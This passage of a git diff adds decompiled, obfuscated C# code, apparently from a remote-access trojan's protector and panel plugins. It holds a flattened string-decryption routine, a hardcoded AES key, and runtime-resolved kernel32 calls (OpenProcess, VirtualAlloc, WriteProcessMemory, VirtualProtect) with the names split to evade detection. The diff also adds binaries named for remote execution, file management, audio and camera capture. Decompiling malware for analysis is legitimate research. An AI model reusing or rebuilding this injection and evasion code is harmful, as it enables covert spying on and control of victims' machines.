case 101: + array2[5] = 150; + num = 361; + break; + case 26: + array[4] = (byte)num5; + num3 = 341; + continue; + case 187: + array2[6] = (byte)num4; + num3 = 100; + continue; + case 118: + num4 = 93 + 30; + num3 = 44; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 345; + } + continue; + case 295: + array2[11] = (byte)num4; + num = 106; + break; + case 319: + array3[7] = array4[3]; + num3 = 87; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 361; + } + continue; + case 183: + num5 = 225 - 75; + num3 = 183; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 196; + } + continue; + case 229: + array2[8] = 220; + num3 = 352; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 174; + } + continue; + case 35: + array2[31] = (byte)num4; + num3 = 23; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 337; + } + continue; + case 117: + num5 = 193 - 64; + num3 = 328; + continue; + case 110: + array2[10] = 161; + num3 = 192; + continue; + case 116: + array[6] = (byte)num5; + num3 = 309; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 7; + } + continue; + case 348: + num5 = 75 + 78; + num3 = 5; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 208; + } + continue; + case 245: + array2[28] = (byte)num4; + num = 252; + break; + case 141: + num5 = 232 - 77; + num3 = 68; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 144; + } + continue; + case 251: + array[13] = (byte)num5; + num3 = 67; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 302; + } + continue; + case 298: + num4 = 0 + 124; + num3 = 299; + continue; + case 79: + num4 = 249 - 83; + num3 = 246; + continue; + case 205: + array[0] = (byte)num5; + num3 = 226; + continue; + case 8: + num4 = 222 - 74; + num3 = 179; + continue; + case 216: + array2[3] = 29; + num = 329; + break; + case 170: + array[2] = (byte)num5; + num3 = 185; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 178; + } + continue; + case 277: + array2[23] = (byte)num4; + num3 = 2; + continue; + case 275: + array[8] = (byte)num5; + num3 = 183; + continue; + case 270: + array2[10] = (byte)num4; + num3 = 110; + continue; + case 132: + array2[2] = (byte)num4; + num3 = 321; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 295; + } + continue; + case 112: + array2[17] = 221; + num3 = 13; + continue; + case 48: + array2[16] = 254; + num = 112; + break; + case 340: + num5 = 139 - 46; + num3 = 269; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 26; + } + continue; + case 255: + array[3] = 45; + num = 332; + break; + case 127: + array2[17] = 149; + num = 109; + break; + case 99: + num5 = 76 + 93; + num3 = 98; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 160; + } + continue; + case 96: + array2[29] = (byte)num4; + num = 211; + break; + case 281: + array2[25] = 87; + num3 = 111; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 234; + } + continue; + case 315: + num5 = 133 + 93; + num3 = 59; + continue; + case 222: + num5 = 154 - 114; + num3 = 275; + continue; + case 133: + array[10] = (byte)num5; + num3 = 241; + continue; + case 135: + array[11] = 112; + num3 = 33; + continue; + case 225: + array2[27] = 1; + num3 = 11; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 206; + } + continue; + case 307: + array2[22] = 245; + num3 = 198; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 335; + } + continue; + case 265: + array2[26] = 120; + num3 = 316; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 349; + } + continue; + case 215: + array[7] = (byte)num5; + num3 = 84; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 204; + } + continue; + case 73: + array2[6] = (byte)num4; + num3 = 140; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 257; + } + continue; + case 42: + num5 = 231 - 77; + num3 = 83; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 175; + } + continue; + case 250: + array2[22] = (byte)num4; + num3 = 343; + continue; + case 288: + num5 = 110 + 46; + num3 = 26; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 4; + } + continue; + case 9: + array[3] = (byte)num5; + num3 = 345; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 306; + } + continue; + case 306: + array[3] = 141; + num3 = 326; + continue; + case 329: + num4 = 113 + 43; + num3 = 286; + continue; + case 166: + array[12] = (byte)num5; + num = 340; + break; + case 266: + array2[25] = (byte)num4; + num3 = 193; + continue; + case 107: + array2[10] = 101; + num3 = 75; + continue; + case 289: + array2[3] = 159; + num3 = 80; + continue; + case 63: + array2[16] = 42; + num3 = 48; + continue; + case 87: + array3[9] = array4[4]; + num3 = 4; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 31; + } + continue; + case 95: + stream = (Stream)pEv2PH2jdHxtsUBOLC3(); + num3 = 156; + continue; + case 88: + num4 = 98 + 57; + num3 = 253; + continue; + case 146: + array[0] = (byte)num5; + num3 = 141; + continue; + case 58: + case 83: + array6[num6] ^= array3[num6]; + num3 = 233; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 83; + } + continue; + case 98: + array[14] = (byte)num5; + num3 = 264; + continue; + case 1: + array3 = array; + num3 = 196; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 189; + } + continue; + case 330: + array2[11] = 145; + num3 = 336; + continue; + case 322: + array2[20] = 97; + num3 = 221; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 1; + } + continue; + case 54: + num4 = 51 + 76; + num3 = 16; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 4; + } + continue; + case 234: + num4 = 87 + 8; + num3 = 176; + continue; + case 204: + array[7] = 126; + num3 = 278; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 95; + } + continue; + case 104: + array2[8] = 148; + num3 = 207; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 229; + } + continue; + case 262: + array[15] = (byte)num5; + num3 = 334; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 84; + } + continue; + case 30: + array2[0] = 106; + num3 = 184; + continue; + case 0: + array[10] = 84; + num3 = 26; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 77; + } + continue; + case 149: + num5 = 220 - 73; + num3 = 205; + continue; + case 62: + array2[19] = (byte)num4; + num3 = 339; + continue; + case 236: + array2[2] = (byte)num4; + num3 = 213; + continue; + case 316: + array6 = array2; + num = 301; + break; + case 339: + num4 = 195 - 65; + num = 19; + break; + case 212: + array[0] = 116; + num = 151; + break; + case 279: + num4 = 24 + 62; + num3 = 145; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 17; + } + continue; + case 32: + array3[15] = array4[7]; + num3 = 33; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 261; + } + continue; + case 106: + array2[11] = 113; + num3 = 330; + continue; + case 282: + array2[8] = (byte)num4; + num3 = 104; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 153; + } + continue; + case 198: + num5 = 151 - 50; + num3 = 272; + continue; + case 285: + array2[18] = (byte)num4; + num3 = 288; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 325; + } + continue; + case 227: + array2[24] = (byte)num4; + num3 = 76; + continue; + case 180: + array2[30] = (byte)num4; + num = 271; + break; + case 301: + array = new byte[16]; + num3 = 149; + continue; + case 171: + num5 = 7 + 35; + num3 = 161; + continue; + case 49: + array2[22] = (byte)num4; + num3 = 4; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 249; + } + continue; + case 78: + array2[1] = (byte)num4; + num = 123; + break; + case 53: + array2[31] = 84; + num3 = 60; + continue; + case 152: + array2 = new byte[32]; + num = 298; + break; + case 220: + array[5] = 80; + num3 = 21; + continue; + case 153: + { + MYOrd0mPu5bSv9tbdB1 mYOrd0mPu5bSv9tbdB = new MYOrd0mPu5bSv9tbdB1((Stream)P_0); + w26vUy2ebxI2KjunxDQ(WTRcNW20dLXCvYlfZJ1(mYOrd0mPu5bSv9tbdB), 0L); + array5 = (byte[])ksrn3y26jqNk5vRKU9w(mYOrd0mPu5bSv9tbdB, (int)QkNZMQ2HUZKKIIno98a(WTRcNW20dLXCvYlfZJ1(mYOrd0mPu5bSv9tbdB))); + uWEtGR2rNygjCdlLxFy(mYOrd0mPu5bSv9tbdB); + num3 = 152; + continue; + } + case 68: + array[0] = (byte)num5; + num3 = 121; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 268; + } + continue; + case 74: + num4 = 241 - 80; + num3 = 307; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 71; + } + continue; + case 102: + array[6] = 89; + num3 = 318; + continue; + case 290: + num4 = 47 + 44; + num3 = 89; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 214; + } + continue; + case 332: + num5 = 49 + 43; + num3 = 128; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 290; + } + continue; + case 40: + num4 = 5 + 26; + num3 = 193; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 182; + } + continue; + case 64: + array2[5] = (byte)num4; + num3 = 218; + continue; + case 346: + num4 = 128 - 42; + num3 = 66; + continue; + case 294: + array2[4] = (byte)num4; + num3 = 23; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 128; + } + continue; + case 120: + num4 = 230 - 121; + num3 = 25; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 245; + } + continue; + case 200: + array2[7] = (byte)num4; + num3 = 276; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 221; + } + continue; + case 69: + array2[27] = 192; + num = 90; + break; + case 158: + num4 = 10 + 82; + num3 = 333; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 250; + } + continue; + case 184: + num4 = 69 - 1; + num3 = 162; + continue; + case 230: + array2[20] = (byte)num4; + num3 = 242; + continue; + case 137: + num4 = 42 + 106; + num3 = 134; + continue; + case 175: + array[11] = (byte)num5; + num = 235; + break; + case 354: + array2[15] = 189; + num3 = 120; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 93; + } + continue; + case 247: + num4 = 178 - 59; + num3 = 47; + continue; + case 66: + array2[5] = (byte)num4; + num3 = 101; + continue; + case 164: + array4 = (byte[])oufm0n2Xn0fiQZsPfCb(jE43cD2q4W2Gqpx2yC6(EpwmJ5Rok3)); + num3 = 314; + continue; + case 263: + array2[29] = (byte)num4; + num3 = 40; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 74; + } + continue; + case 162: + array2[0] = (byte)num4; + num3 = 190; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 314; + } + continue; + case 228: + array[6] = 119; + num3 = 3; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 65; + } + continue; + case 59: + array[12] = (byte)num5; + num3 = 119; + continue; + case 274: + array[8] = 144; + num3 = 222; + continue; + case 325: + num4 = 34 + 23; + num3 = 333; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 73; + } + continue; + case 43: + array[14] = 168; + num3 = 20; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 247; + } + continue; + case 238: + array5 = (byte[])p6ImSBBnDT; + num3 = 223; + continue; + case 333: + array2[18] = (byte)num4; + num3 = 167; + continue; + case 154: + num4 = 64 + 48; + num3 = 117; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 138; + } + continue; + case 208: + array[1] = 95; + num3 = 305; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 196; + } + continue; + case 113: + num4 = 108 + 76; + num3 = 50; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 200; + } + continue; + case 56: + num4 = 91 + 3; + num3 = 282; + continue; + case 84: + array[15] = 190; + num3 = 156; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 181; + } + continue; + case 27: + num5 = 164 - 54; + num3 = 244; + continue; + case 242: + num4 = 90 + 98; + num3 = 39; + continue; + case 311: + array2[26] = (byte)num4; + num3 = 69; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 10; + } + continue; + case 60: + num4 = 119 + 116; + num3 = 61; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 35; + } + continue; + case 260: + array[8] = (byte)num5; + num3 = 274; + continue; + case 12: + num4 = 54 + 111; + num = 256; + break; + case 33: + array[11] = 93; + num3 = 91; + continue; + case 142: + array2[19] = (byte)num4; + num3 = 353; + continue; + case 328: + array[10] = (byte)num5; + num3 = 0; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 214; + } + continue; + case 111: + array2[28] = (byte)num4; + num3 = 160; + continue; + case 207: + array2[28] = (byte)num4; + num3 = 191; + continue; + case 121: + array2[25] = 132; + num3 = 150; + continue; + case 169: + num4 = 126 - 95; + num3 = 291; + continue; + case 31: + array3[11] = array4[5]; + num3 = 86; + continue; + case 293: + num4 = 145 + 61; + num3 = 64; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 112; + } + continue; + case 76: + array2[24] = 88; + num3 = 93; + continue; + case 3: + array[12] = (byte)num5; + num3 = 335; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 199; + } + continue; + case 240: + array2[5] = 88; + num = 232; + break; + case 5: + array[14] = (byte)num5; + num3 = 99; + continue; + case 334: + array2[15] = 123; + num3 = 336; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 354; + } + continue; + case 148: + array2[29] = (byte)num4; + num3 = 237; + continue; + case 45: + array[13] = 153; + num3 = 350; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 20; + } + continue; + case 61: + array2[24] = (byte)num4; + num3 = 103; + continue; + case 129: + num4 = 123 + 5; + num3 = 245; + continue; + case 93: + array2[24] = 164; + num3 = 8; + continue; + case 278: + array[7] = 172; + num3 = 131; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 248; + } + continue; + case 302: + num5 = 159 - 53; + num3 = 262; + continue; + case 231: + num5 = 127 - 42; + num3 = 146; + continue; + case 299: + array2[0] = (byte)num4; + num3 = 158; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 82; + } + continue; + case 72: + array3[3] = array4[1]; + num3 = 331; + continue; + case 342: + array2[22] = (byte)num4; + num3 = 307; + continue; + case 347: + num4 = 60 - 40; + num3 = 157; + continue; + case 178: + array[3] = 97; + num = 255; + break; + case 219: + array2[12] = (byte)num4; + num3 = 312; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 316; + } + continue; + case 201: + array2[16] = (byte)num4; + num3 = 63; + continue; + case 15: + array[4] = (byte)num5; + num3 = 288; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 208; + } + continue; + case 206: + num4 = 32 + 80; + num3 = 125; + continue; + case 174: + array2[9] = 144; + num3 = 173; + continue; + case 124: + num4 = 214 - 71; + num3 = 73; + continue; + case 123: + array2[1] = 242; + num3 = 40; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 311; + } + continue; + case 291: + array2[31] = (byte)num4; + num3 = 316; + continue; + case 292: + array2[20] = (byte)num4; + num3 = 254; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 263; + } + continue; + case 256: + array2[21] = (byte)num4; + num3 = 158; + continue; + case 309: + array[7] = 100; + num3 = 198; + continue; + case 97: + if (P_1 == -1) + { + num3 = 6; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 324; + } + continue; + } + goto case 223; + case 151: + array[1] = 134; + num3 = 332; + if (OLjmZe2ujXfo46aKE0t()) + { + num3 = 320; + } + continue; + case 70: + array2[6] = (byte)num4; + num3 = 81; + if (FqDSSI2xrG6idohWKqR() != null) + { + num3 = 98; + } + continue; + case 284: + ciPmykfdes = 80; + num3 = 55; + continue; + case 237: + array2[29] = 247; + num3 = 206; + continue; + case 327: + array2[21] = 90; + num3 = 12; + continue; + case 323: + num4 = 60 + 90; + num3 = 285; + continue; + case 2: + num4 = 144 - 48; + num3 = 195; + continue; + case 195: + array2[23] = (byte)num4; + num3 = 279; + continue; + case 39: + array2[21] = (byte)num4; + num3 = 154; + continue; + case 191: + array2[28] = 130; + num3 = 129; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 146; + } + continue; + case 140: + num4 = 197 - 65; + num3 = 78; + continue; + case 337: + array2[31] = 124; + num = 169; + break; + case 19: + array2[19] = (byte)num4; + num3 = 243; + continue; + case 173: + num4 = 146 - 48; + num3 = 57; + continue; + case 246: + array2[12] = (byte)num4; + num3 = 139; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 155; + } + continue; + case 181: + array[15] = 137; + num3 = 55; + if (FqDSSI2xrG6idohWKqR() == null) + { + num3 = 1; + } + continue; + case 36: + array2[5] = (byte)num4; + num3 = 346; + continue; + case 312: + num4 = 72 + 5; + num3 = 155; + if (!OLjmZe2ujXfo46aKE0t()) + { + num3 = 81; + } + continue; + case 305: + array[1] = 170; + num3 = 147; + continue; + } + goto end_IL_0006; + continue; + end_IL_0007: + break; + } + continue; + end_IL_0006: + break; + } + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + internal static string pNInuuWLfn(int P_0) + { + if (((Array)p6ImSBBnDT).Length == 0) + { + puYmZNP8OL = new List(); + O3FmEp4Asq = new List(); + UAdno0YQBc(((Assembly)EpwmJ5Rok3).GetManifestResourceStream("poelmpiFx7RS9IgQk9.YKjYNsng52AmNkDOaR"), P_0); + } + if (ciPmykfdes < 75) + { + MethodBase method = new StackFrame(1).GetMethod(); + if ((Assembly?)EpwmJ5Rok3 != method.DeclaringType.Assembly) + { + bool flag = false; + string name = method.DeclaringType.Assembly.GetName().Name; + AssemblyName[] referencedAssemblies = ((Assembly)EpwmJ5Rok3).GetReferencedAssemblies(); + foreach (AssemblyName assemblyName in referencedAssemblies) + { + if (name == assemblyName.Name) + { + flag = true; + break; + } + } + if (!flag) + { + throw new Exception(); + } + } + ciPmykfdes++; + } + lock (vMemTpD39d) + { + int num = BitConverter.ToInt32((byte[])p6ImSBBnDT, P_0); + if (num < O3FmEp4Asq.Count && O3FmEp4Asq[num] == P_0) + { + return puYmZNP8OL[num]; + } + try + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + byte[] array = new byte[num]; + Array.Copy((Array)p6ImSBBnDT, P_0 + 4, array, 0, num); + string text = Encoding.Unicode.GetString(array, 0, array.Length); + puYmZNP8OL.Add(text); + O3FmEp4Asq.Add(P_0); + Array.Copy(BitConverter.GetBytes(puYmZNP8OL.Count - 1), 0, (Array)p6ImSBBnDT, P_0, 4); + return text; + } + catch + { + } + } + return ""; + } + + internal static string LPtnxFTW0j(object P_0) + { + "WptVp4u1LM0utEjJ5".Trim(); + byte[] array = Convert.FromBase64String((string)P_0); + return Encoding.Unicode.GetString(array, 0, array.Length); + } + + private static int zVCn0W6Srv() + { + return 5; + } + + private static void MijneVTSV9() + { + try + { + RSACryptoServiceProvider.UseMachineKeyStore = true; + } + catch + { + } + } + + private static Delegate evvnH05CoS(IntPtr P_0, Type P_1) + { + return (Delegate)typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2] + { + typeof(IntPtr), + typeof(Type) + }).Invoke(null, new object[2] { P_0, P_1 }); + } + + internal static object UbRn6jo0G6(object P_0) + { + try + { + if (File.Exists(((Assembly)P_0).Location)) + { + return ((Assembly)P_0).Location; + } + } + catch + { + } + try + { + if (File.Exists(((Assembly)P_0).GetName().CodeBase.ToString().Replace("file:///", ""))) + { + return ((Assembly)P_0).GetName().CodeBase.ToString().Replace("file:///", ""); + } + } + catch + { + } + try + { + if (File.Exists(P_0.GetType().GetProperty("Location").GetValue(P_0, new object[0]) + .ToString())) + { + return P_0.GetType().GetProperty("Location").GetValue(P_0, new object[0]) + .ToString(); + } + } + catch + { + } + return ""; + } + + [DllImport("kernel32", EntryPoint = "LoadLibrary")] + public static extern IntPtr gkqnrtNdny(string P_0); + + [DllImport("kernel32", CharSet = CharSet.Ansi, EntryPoint = "GetProcAddress")] + public static extern IntPtr DDin3UVPA4(IntPtr P_0, string P_1); + + private static IntPtr miDnqfEhIg(IntPtr P_0, object P_1, uint P_2) + { + if (PKjmogYOrk == null) + { + PKjmogYOrk = (vkifub2iA5pBC6QKKGp)Marshal.GetDelegateForFunctionPointer(DDin3UVPA4(gEHrfEJaJ(), "Find ".Trim() + "ResourceA"), typeof(vkifub2iA5pBC6QKKGp)); + } + return PKjmogYOrk(P_0, (string)P_1, P_2); + } + + private static IntPtr vqhnXsPYog(IntPtr P_0, uint P_1, uint P_2, uint P_3) + { + if (ASkmundayI == null) + { + ASkmundayI = (JUboZP2nmxfQc3iCYQl)Marshal.GetDelegateForFunctionPointer(DDin3UVPA4(gEHrfEJaJ(), "Virtual ".Trim() + "Alloc"), typeof(JUboZP2nmxfQc3iCYQl)); + } + return ASkmundayI(P_0, P_1, P_2, P_3); + } + + private static int Aewnhdh01Q(IntPtr P_0, IntPtr P_1, [In][Out] byte[] P_2, uint P_3, out IntPtr P_4) + { + if (Qbcmx5uDw7 == null) + { + Qbcmx5uDw7 = (uNKJn82mYjh38x1ipfr)Marshal.GetDelegateForFunctionPointer(DDin3UVPA4(gEHrfEJaJ(), "Write ".Trim() + "Process ".Trim() + "Memory"), typeof(uNKJn82mYjh38x1ipfr)); + } + return Qbcmx5uDw7(P_0, P_1, P_2, P_3, out P_4); + } + + private static int axjnGNkEuR(IntPtr P_0, int P_1, int P_2, ref int P_3) + { + if (tJIm0LmLBa == null) + { + tJIm0LmLBa = (dUVmvT22uxS0u79gCdm)Marshal.GetDelegateForFunctionPointer(DDin3UVPA4(gEHrfEJaJ(), "Virtual ".Trim() + "Protect"), typeof(dUVmvT22uxS0u79gCdm)); + } + return tJIm0LmLBa(P_0, P_1, P_2, ref P_3); + } + + private static IntPtr IjInboOW1S(uint P_0, int P_1, uint P_2) + { + if (uvmmeGuXl1 == null) + { + uvmmeGuXl1 = (M63Uge2LZVBf5q5ALZC)Marshal.GetDelegateForFunctionPointer(DDin3UVPA4(gEHrfEJaJ(), "Open ".Trim() + "Process"), typeof(M63Uge2LZVBf5q5ALZC)); + } + return uvmmeGuXl1(P_0, P_1, P_2); + } + + private static int GbmnjU9Rty(IntPtr P_0) + { + if (h4TmHOxAtQ == null) + { + h4TmHOxAtQ = (ugHmaV2k3NGNvHFs8yN)Marshal.GetDelegateForFunctionPointer(DDin3UVPA4(gEHrfEJaJ(), "Close ".Trim() + "Handle"), typeof(ugHmaV2k3NGNvHFs8yN)); + } + return h4TmHOxAtQ(P_0); + } + + [SpecialName] + private static IntPtr gEHrfEJaJ() + { + if (DMym6J9WIk == IntPtr.Zero) + { + DMym6J9WIk = gkqnrtNdny("kernel ".Trim() + "32.dll"); + } + return DMym6J9WIk; + } + + private static byte[] B0SnOAwX0t(object P_0) + { + using FileStream fileStream = new FileStream((string)P_0, FileMode.Open, FileAccess.Read, FileShare.Read); + int num = 0; + int num2 = (int)fileStream.Length; + byte[] array = new byte[num2]; + while (num2 > 0) + { + int num3 = fileStream.Read(array, num, num2); + num += num3; + num2 -= num3; + } + return array; + } + + internal static Stream BRMn51leeU() + { + return new MemoryStream(); + } + + internal static byte[] MV4n8quFJb(object P_0) + { + return ((MemoryStream)P_0).ToArray(); + } + + private static byte[] cagnPx0u94(object P_0) + { + Stream stream = BRMn51leeU(); + SymmetricAlgorithm symmetricAlgorithm = zZmntn1H11(); + symmetricAlgorithm.Key = new byte[32] + { + 118, 163, 178, 10, 113, 192, 77, 145, 182, 173, + 20, 210, 196, 66, 154, 85, 250, 77, 68, 252, + 91, 79, 250, 58, 223, 138, 221, 57, 69, 230, + 79, 254 + }; + symmetricAlgorithm.IV = new byte[16] + { + 49, 216, 227, 38, 41, 182, 99, 252, 237, 212, + 8, 154, 50, 6, 157, 158 + }; + CryptoStream cryptoStream = new CryptoStream(stream, symmetricAlgorithm.CreateDecryptor(), CryptoStreamMode.Write); + cryptoStream.Write((byte[])P_0, 0, ((Array)P_0).Length); + cryptoStream.Close(); + byte[] result = MV4n8quFJb(stream); + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + return result; + } + + private byte[] E53nvCaPZE() + { + return null; + } + + private byte[] l7onwdtX8E() + { + return null; + } + + private byte[] WhenKggRDe() + { + _ = "8Kj3OUpfwdLP9z7p8z".Length; + _ = 0; + return new byte[2] { 1, 2 }; + } + + private byte[] k2MnzverUZ() + { + _ = "w0D23YYVmrK4XbM".Length; + _ = 0; + return new byte[2] { 1, 2 }; + } + + private byte[] eYdmfPOrlh() + { + _ = "OPKQttIQ7orGnbC".Length; + _ = 0; + return new byte[2] { 1, 2 }; + } + + private byte[] r1umi0smmu() + { + _ = "bsDwji7gqOYJRJCZ".Length; + _ = 0; + return new byte[2] { 1, 2 }; + } + + internal byte[] Cf2mnDVCT1() + { + _ = "ZbwtP7NAym3vhbDkBOKRBD".Length; + _ = 0; + return new byte[2] { 1, 2 }; + } + + internal byte[] pJQmmHmxgg() + { + _ = "HYPM8XLKEQCScjB".Length; + _ = 0; + return new byte[2] { 1, 2 }; + } + + internal byte[] wN5m2mLi2Q() + { + _ = "MOyozPJhKzzpsbJwYOs3Ps".Length; + _ = 0; + return new byte[2] { 1, 2 }; + } + + internal byte[] hMemL78Jim() + { + _ = "alu0vLJQVnaLhzF".Length; + _ = 0; + return new byte[2] { 1, 2 }; + } + + internal static object WTRcNW20dLXCvYlfZJ1(object P_0) + { + return ((MYOrd0mPu5bSv9tbdB1)P_0).KCFlcDdR6L(); + } + + internal static void w26vUy2ebxI2KjunxDQ(object P_0, long P_1) + { + ((Stream)P_0).Position = P_1; + } + + internal static long QkNZMQ2HUZKKIIno98a(object P_0) + { + return ((Stream)P_0).Length; + } + + internal static object ksrn3y26jqNk5vRKU9w(object P_0, int P_1) + { + return ((MYOrd0mPu5bSv9tbdB1)P_0).yHNmvCnxts(P_1); + } + + internal static void uWEtGR2rNygjCdlLxFy(object P_0) + { + ((MYOrd0mPu5bSv9tbdB1)P_0).OQMmzDFCLi(); + } + + internal static void a8LnKM23XIcLLFYaYNt(object P_0) + { + Array.Reverse((Array)P_0); + } + + internal static object jE43cD2q4W2Gqpx2yC6(object P_0) + { + return ((Assembly)P_0).GetName(); + } + + internal static object oufm0n2Xn0fiQZsPfCb(object P_0) + { + return ((AssemblyName)P_0).GetPublicKeyToken(); + } + + internal static object N6Dd0A2hIeXTgqgDmWs() + { + return zZmntn1H11(); + } + + internal static void HiTNu82GfThRfW0hTbf(object P_0, CipherMode P_1) + { + ((SymmetricAlgorithm)P_0).Mode = P_1; + } + + internal static object J611tK2bjgrFf0GFgX2(object P_0, object P_1, object P_2) + { + return ((SymmetricAlgorithm)P_0).CreateDecryptor((byte[])P_1, (byte[]?)P_2); + } + + internal static object pEv2PH2jdHxtsUBOLC3() + { + return BRMn51leeU(); + } + + internal static void qhOfoh2Oy4L7rPoT6d2(object P_0, object P_1, int P_2, int P_3) + { + ((Stream)P_0).Write((byte[])P_1, P_2, P_3); + } + + internal static void PLFbLZ25eSSFu7FoHeW(object P_0) + { + ((CryptoStream)P_0).FlushFinalBlock(); + } + + internal static object BlIy1c28S1oL8jNik4p(object P_0) + { + return MV4n8quFJb(P_0); + } + + internal static void kdPZON2Pm0iofCyTwE4(object P_0) + { + ((Stream)P_0).Close(); + } + + internal static object kZIeaA2vQMFYkum8IrB(object P_0) + { + return ((Assembly)P_0).EntryPoint; + } + + internal static bool DqNNHj2wrp9sPOfa8nC(object P_0, object P_1) + { + return (MethodInfo?)P_0 == (MethodInfo?)P_1; + } + + internal static bool OLjmZe2ujXfo46aKE0t() + { + return null == null; + } + + internal static object FqDSSI2xrG6idohWKqR() + { + return null; + } +} diff --git a/decompiled/PanelPlugins/PureHelper/.DS_Store b/decompiled/PanelPlugins/PureHelper/.DS_Store new file mode 100644 index 0000000..d2648fe Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/.DS_Store differ diff --git a/decompiled/PanelPlugins/PureHelper/Properties/AssemblyInfo.cs b/decompiled/PanelPlugins/PureHelper/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..1200368 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper/Properties/AssemblyInfo.cs @@ -0,0 +1,15 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; + +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: ComVisible(false)] +[assembly: AssemblyVersion("1.0.9598.9861")] diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.00_Executing.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.00_Executing.dll new file mode 100644 index 0000000..8de54e6 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.00_Executing.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.01_FileManager.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.01_FileManager.dll new file mode 100644 index 0000000..78ad350 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.01_FileManager.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.02_RemoteAudio.dll b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.02_RemoteAudio.dll new file mode 100644 index 0000000..d657515 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.02_RemoteAudio.dll differ diff --git a/decompiled/PanelPlugins/PureHelper/PureHelper.ClientDLLs.03_RemoteCamera.dll 